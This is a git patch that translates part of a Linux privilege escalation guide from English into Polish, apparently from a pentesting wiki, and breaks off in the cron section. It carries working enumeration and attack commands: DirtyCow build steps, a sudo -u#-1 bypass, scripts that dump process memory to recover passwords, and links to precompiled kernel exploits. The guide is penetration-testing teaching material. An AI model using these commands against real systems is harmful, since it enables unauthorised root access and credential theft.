From aa1a30d19c11ae4757be17e9e77796ba3652dd12 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 20:32:25 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l --- .../privilege-escalation/README.md | 1050 +++++-------- .../docker-security/README.md | 309 ++-- ...-docker-socket-for-privilege-escalation.md | 52 +- .../docker-security/apparmor.md | 222 ++- ...uthn-docker-access-authorization-plugin.md | 132 +- .../docker-security/cgroups.md | 62 +- .../README.md | 320 ++-- .../docker-release_agent-cgroups-escape.md | 44 +- ...se_agent-exploit-relative-paths-to-pids.md | 58 +- .../sensitive-mounts.md | 176 +-- .../docker-security/docker-privileged.md | 100 +- .../docker-security/namespaces/README.md | 16 +- .../namespaces/cgroup-namespace.md | 64 +- .../namespaces/ipc-namespace.md | 66 +- .../namespaces/mount-namespace.md | 72 +- .../namespaces/network-namespace.md | 62 +- .../namespaces/pid-namespace.md | 70 +- .../namespaces/time-namespace.md | 50 +- .../namespaces/user-namespace.md | 92 +- .../namespaces/uts-namespace.md | 58 +- .../docker-security/seccomp.md | 160 +- .../docker-security/weaponizing-distroless.md | 16 +- .../interesting-groups-linux-pe/README.md | 144 +- .../lxd-privilege-escalation.md | 30 +- .../ld.so.conf-example.md | 108 +- .../linux-active-directory.md | 74 +- .../linux-capabilities.md | 1397 +++++++---------- .../privilege-escalation/logstash.md | 52 +- .../nfs-no_root_squash-misconfiguration-pe.md | 94 +- .../payloads-to-execute.md | 96 +- .../runc-privilege-escalation.md | 26 +- .../privilege-escalation/selinux.md | 14 +- .../socket-command-injection.md | 32 +- .../splunk-lpe-and-persistence.md | 50 +- .../ssh-forward-agent-exploitation.md | 24 +- .../wildcards-spare-tricks.md | 44 +- .../privilege-escalation/write-to-root.md | 26 +- .../useful-linux-commands/README.md | 47 +- .../bypass-bash-restrictions.md | 94 +- .../privilege-escalation/exploiting-yum.md | 20 +- .../interesting-groups-linux-pe.md | 115 +- .../macos-auto-start-locations.md | 1388 ++++++++-------- .../macos-red-teaming/README.md | 184 +-- .../macos-red-teaming/macos-keychain.md | 142 +- .../macos-red-teaming/macos-mdm/README.md | 230 +-- ...nrolling-devices-in-other-organisations.md | 56 +- .../macos-mdm/macos-serial-number.md | 48 +- .../README.md | 90 +- .../mac-os-architecture/README.md | 46 +- .../macos-function-hooking.md | 298 ++-- .../mac-os-architecture/macos-iokit.md | 216 ++- .../README.md | 940 ++++++----- .../macos-kernel-extensions.md | 106 +- .../macos-kernel-vulnerabilities.md | 4 +- .../macos-system-extensions.md | 70 +- .../macos-applefs.md | 28 +- .../macos-basic-objective-c.md | 162 +- .../macos-bypassing-firewalls.md | 44 +- .../macos-defensive-apps.md | 18 +- ...yld-hijacking-and-dyld_insert_libraries.md | 98 +- .../macos-file-extension-apps.md | 80 +- .../macos-gcd-grand-central-dispatch.md | 212 ++- .../macos-privilege-escalation.md | 148 +- .../macos-protocols.md | 102 +- .../macos-fs-tricks/README.md | 83 +- .../macos-gatekeeper.md | 49 +- .../macos-sandbox/README.md | 72 +- .../macos-sandbox-debug-and-bypass/README.md | 183 ++- .../macos-tcc/macos-tcc-bypasses/README.md | 40 +- .../macos-users.md | 34 +- src/macos-hardening/macos-useful-commands.md | 24 +- .../android-app-pentesting/README.md | 188 +-- ...bypass-biometric-authentication-android.md | 29 +- .../content-protocol.md | 13 +- .../drozer-tutorial/README.md | 48 +- .../frida-tutorial/README.md | 12 +- .../frida-tutorial/frida-tutorial-1.md | 15 +- .../frida-tutorial/frida-tutorial-2.md | 21 +- .../frida-tutorial/objection-tutorial.md | 26 +- .../frida-tutorial/owaspuncrackable-1.md | 19 +- .../install-burp-certificate.md | 16 +- .../reversing-native-libraries.md | 24 +- .../android-app-pentesting/smali-changes.md | 20 +- .../android-app-pentesting/tapjacking.md | 17 +- src/mobile-pentesting/android-checklist.md | 22 +- .../ios-pentesting-checklist.md | 28 +- .../ios-pentesting/README.md | 131 +- .../burp-configuration-for-ios.md | 46 +- .../frida-configuration-in-ios.md | 22 +- .../ios-pentesting/ios-uipasteboard.md | 23 +- .../1099-pentesting-java-rmi.md | 30 +- .../11211-memcache/memcache-commands.md | 19 +- .../113-pentesting-ident.md | 22 +- .../135-pentesting-msrpc.md | 40 +- .../15672-pentesting-rabbitmq-management.md | 14 +- .../27017-27018-mongodb.md | 40 +- .../4786-cisco-smart-install.md | 12 +- .../4840-pentesting-opc-ua.md | 19 +- .../512-pentesting-rexec.md | 14 - .../5985-5986-pentesting-winrm.md | 67 +- .../6000-pentesting-x11.md | 36 +- .../623-udp-ipmi.md | 28 +- .../6379-pentesting-redis.md | 75 +- .../69-udp-tftp.md | 9 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 40 +- .../8086-pentesting-influxdb.md | 21 +- .../9200-pentesting-elasticsearch.md | 33 +- .../pentesting-dns.md | 36 +- .../pentesting-finger.md | 17 +- .../ftp-bounce-download-2oftp-file.md | 28 +- ...entesting-jdwp-java-debug-wire-protocol.md | 20 +- .../pentesting-modbus.md | 9 +- .../pentesting-mysql.md | 30 +- .../pentesting-ntp.md | 42 +- .../pentesting-postgresql.md | 65 +- .../pentesting-rdp.md | 31 +- .../pentesting-remote-gdbserver.md | 18 +- .../pentesting-rlogin.md | 9 +- .../pentesting-rpcbind.md | 16 +- .../pentesting-rsh.md | 6 - .../pentesting-sap.md | 91 +- .../pentesting-smb/rpcclient-enumeration.md | 14 +- .../pentesting-smtp/README.md | 64 +- .../pentesting-smtp/smtp-commands.md | 20 +- .../pentesting-snmp/README.md | 46 +- .../pentesting-snmp/cisco-snmp.md | 17 +- .../pentesting-ssh.md | 40 +- .../pentesting-telnet.md | 21 +- .../pentesting-vnc.md | 10 - .../pentesting-voip/README.md | 66 +- .../pentesting-web/403-and-401-bypasses.md | 47 +- .../pentesting-web/README.md | 92 +- .../pentesting-web/cgi.md | 23 +- .../pentesting-web/drupal/README.md | 13 +- .../pentesting-web/flask.md | 20 +- .../pentesting-web/graphql.md | 58 +- .../pentesting-web/h2-java-sql-database.md | 4 - .../pentesting-web/jboss.md | 12 +- .../pentesting-web/jira.md | 22 +- .../pentesting-web/joomla.md | 14 +- .../pentesting-web/laravel.md | 14 +- .../pentesting-web/moodle.md | 15 +- .../pentesting-web/nginx.md | 24 +- .../pentesting-web/php-tricks-esp/README.md | 45 +- .../pentesting-web/put-method-webdav.md | 46 +- .../pentesting-web/rocket-chat.md | 6 - .../pentesting-web/vmware-esx-vcenter....md | 9 +- .../pentesting-web/web-api-pentesting.md | 44 +- .../pentesting-web/werkzeug.md | 20 +- .../pentesting-web/wordpress.md | 70 +- .../abusing-hop-by-hop-headers.md | 30 +- src/pentesting-web/cache-deception/README.md | 77 +- src/pentesting-web/clickjacking.md | 42 +- .../client-side-template-injection-csti.md | 16 +- src/pentesting-web/command-injection.md | 21 +- .../README.md | 137 +- src/pentesting-web/cors-bypass.md | 69 +- src/pentesting-web/crlf-0d-0a.md | 26 +- .../csrf-cross-site-request-forgery.md | 62 +- src/pentesting-web/dependency-confusion.md | 38 +- src/pentesting-web/deserialization/README.md | 100 +- .../exploiting-__viewstate-parameter.md | 36 +- .../deserialization/ruby-_json-pollution.md | 20 + .../domain-subdomain-takeover.md | 39 +- src/pentesting-web/email-injections.md | 26 +- src/pentesting-web/file-inclusion/README.md | 117 +- .../file-inclusion/lfi2rce-via-php-filters.md | 27 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 24 +- .../file-inclusion/phar-deserialization.md | 12 +- src/pentesting-web/file-upload/README.md | 60 +- .../hacking-jwt-json-web-tokens.md | 39 +- .../http-request-smuggling/README.md | 103 +- src/pentesting-web/iframe-traps.md | 13 +- src/pentesting-web/ldap-injection.md | 21 +- src/pentesting-web/login-bypass/README.md | 32 +- .../login-bypass/sql-login-bypass.md | 16 - src/pentesting-web/nosql-injection.md | 24 - .../oauth-to-account-takeover.md | 40 +- src/pentesting-web/open-redirect.md | 12 +- src/pentesting-web/parameter-pollution.md | 25 +- .../proxy-waf-protections-bypass.md | 22 +- src/pentesting-web/race-condition.md | 60 +- src/pentesting-web/rate-limit-bypass.md | 22 +- src/pentesting-web/reset-password.md | 78 +- src/pentesting-web/sql-injection/README.md | 64 +- .../sql-injection/mysql-injection/README.md | 19 +- .../postgresql-injection/README.md | 25 +- .../sql-injection/sqlmap/README.md | 24 +- .../README.md | 62 +- .../README.md | 49 +- .../jinja2-ssti.md | 19 +- .../web-vulnerabilities-methodology.md | 66 +- src/pentesting-web/xpath-injection.md | 54 +- src/pentesting-web/xs-search.md | 188 +-- src/pentesting-web/xs-search/README.md | 227 ++- .../xss-cross-site-scripting/README.md | 102 +- .../xss-cross-site-scripting/steal-info-js.md | 4 - .../xxe-xee-xml-external-entity.md | 57 +- src/todo/more-tools.md | 20 +- .../flipper-zero/fz-125khz-rfid.md | 22 +- .../abusing-ad-mssql.md | 10 +- .../ad-certificates/domain-escalation.md | 86 +- .../asreproast.md | 30 - .../active-directory-methodology/dcsync.md | 24 +- .../kerberoast.md | 36 +- .../kerberos-double-hop-problem.md | 17 +- .../active-directory-methodology/laps.md | 14 +- .../over-pass-the-hash-pass-the-key.md | 14 +- .../pass-the-ticket.md | 18 +- .../password-spraying.md | 10 - .../privileged-groups-and-token-privileges.md | 39 +- .../resource-based-constrained-delegation.md | 25 +- .../silver-ticket.md | 18 +- .../authentication-credentials-uac-and-efs.md | 51 +- .../README.md | 41 +- .../uac-user-account-control.md | 54 +- src/windows-hardening/av-bypass.md | 81 +- .../basic-cmd-for-pentesters.md | 23 +- .../powerview.md | 12 +- .../lateral-movement/psexec-and-winexec.md | 10 +- .../lateral-movement/smbexec.md | 21 +- .../ntlm/psexec-and-winexec.md | 20 +- .../credentials-mimikatz.md | 27 +- .../acls-dacls-sacls-aces.md | 90 +- .../dll-hijacking.md | 42 +- .../dpapi-extracting-passwords.md | 22 +- ...vilege-escalation-with-autorun-binaries.md | 36 +- .../uac-user-account-control.md | 54 +- 228 files changed, 6721 insertions(+), 10178 deletions(-) create mode 100644 src/pentesting-web/deserialization/ruby-_json-pollution.md diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..a47f4cec0 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,61 +6,50 @@ ### OS info -Let's start gaining some knowledge of the OS running - +Zacznijmy od zdobywania wiedzy o systemie operacyjnym, który działa ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` +### Ścieżka -### Path - -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +Jeśli **masz uprawnienia do zapisu w dowolnym folderze wewnątrz zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub binaria: ```bash echo $PATH ``` - ### Env info -Interesting information, passwords or API keys in the environment variables? - +Interesujące informacje, hasła lub klucze API w zmiennych środowiskowych? ```bash (env || set) 2>/dev/null ``` - ### Kernel exploits -Check the kernel version and if there is some exploit that can be used to escalate privileges - +Sprawdź wersję jądra i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +Możesz znaleźć dobrą listę podatnych jąder i kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +Inne strony, na których możesz znaleźć kilka **skompilowanych exploitów**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +Aby wyodrębnić wszystkie podatne wersje jądra z tej strony, możesz zrobić: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj na ofierze, sprawdza tylko exploity dla jądra 2.x) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Zawsze **wyszukuj wersję jądra w Google**, może się okazać, że twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewny, że ten exploit jest ważny. ### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Wersja Sudo -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +Na podstawie podatnych wersji sudo, które pojawiają się w: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +Możesz sprawdzić, czy wersja sudo jest podatna, używając tego grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 -From @sickrov - +Od @sickrov ``` sudo -u#-1 /bin/bash ``` +### Dmesg weryfikacja podpisu nie powiodła się -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +Sprawdź **smasher2 box of HTB** dla **przykładu** jak ta luka może być wykorzystana ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### Więcej enumeracji systemu ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## Wymień możliwe zabezpieczenia ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity - ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +Jeśli jesteś wewnątrz kontenera docker, możesz spróbować się z niego wydostać: {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić prywatne informacje. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## Przydatne oprogramowanie -## Useful software - -Enumerate useful binaries - +Wymień przydatne binaria ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, jeśli musisz użyć jakiegoś exploit'a jądra, ponieważ zaleca się skompilowanie go na maszynie, na której zamierzasz go używać (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### Zainstalowane oprogramowanie podatne -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby być wykorzystana do eskalacji uprawnień…\ +Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` +Jeśli masz dostęp SSH do maszyny, możesz również użyć **openVAS**, aby sprawdzić, czy na maszynie zainstalowane są przestarzałe i podatne na ataki oprogramowanie. -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +> [!NOTE] > _Zauważ, że te polecenia pokażą wiele informacji, które będą głównie bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na znane exploity._ -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ - -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## Procesy +Sprawdź **jakie procesy** są uruchamiane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez roota?) ```bash ps aux ps -ef top -n 1 ``` +Zawsze sprawdzaj możliwe [**debuggery electron/cef/chromium**] działające, możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywają je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\ +Również **sprawdź swoje uprawnienia do binarnych plików procesów**, może uda ci się nadpisać kogoś. -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### Monitorowanie procesów -### Process monitoring +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów, które są często uruchamiane lub gdy spełniony jest zestaw wymagań. -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### Pamięć procesów -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Niektóre usługi serwera zapisują **dane uwierzytelniające w postaci czystego tekstu w pamięci**.\ +Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej danych uwierzytelniających.\ +Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Zauważ, że obecnie większość maszyn **nie pozwala na ptrace domyślnie**, co oznacza, że nie możesz zrzucić innych procesów, które należą do twojego nieuprzywilejowanego użytkownika. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób, w jaki działał ptrace. +> - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany. +> - **kernel.yama.ptrace_scope = 2**: Tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu, wymagany jest restart, aby ponownie włączyć ptrace. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać jej dane uwierzytelniające. ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script - +#### Skrypt GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest mapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazuje również **uprawnienia każdej mapowanej sekcji**. Pseudo plik **mem** **ujawnia pamięć procesów**. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich przesunięcia. Używamy tych informacji, aby **przeszukiwać plik mem i zrzucać wszystkie czytelne regiony** do pliku. ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie do pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ +Typowo, `/dev/mem` jest tylko do odczytu przez **root** i grupę **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` +### ProcDump dla linux -### ProcDump for linux - -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump to linuksowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### Narzędzia -### Tools - -To dump a process memory you could use: +Aby zrzucić pamięć procesu, możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który należy do Ciebie +- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root) -### Credentials from Process Memory +### Poświadczenia z pamięci procesu -#### Manual example - -If you find that the authenticator process is running: +#### Przykład ręczny +Jeśli znajdziesz, że proces uwierzytelniający jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia w pamięci: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **kradnie hasła w postaci czystego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień roota, aby działać poprawnie. -| Feature | Process Name | +| Funkcja | Nazwa procesu | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Aktywne połączenia FTP) | vsftpd | +| Apache2 (Aktywne sesje HTTP Basic Auth) | apache2 | +| OpenSSH (Aktywne sesje SSH - użycie Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` +## Zaplanowane/zadania Cron -## Scheduled/Cron jobs - -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez root (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez root? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` - ### Cron path -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Note how the user "user" has writing privileges over 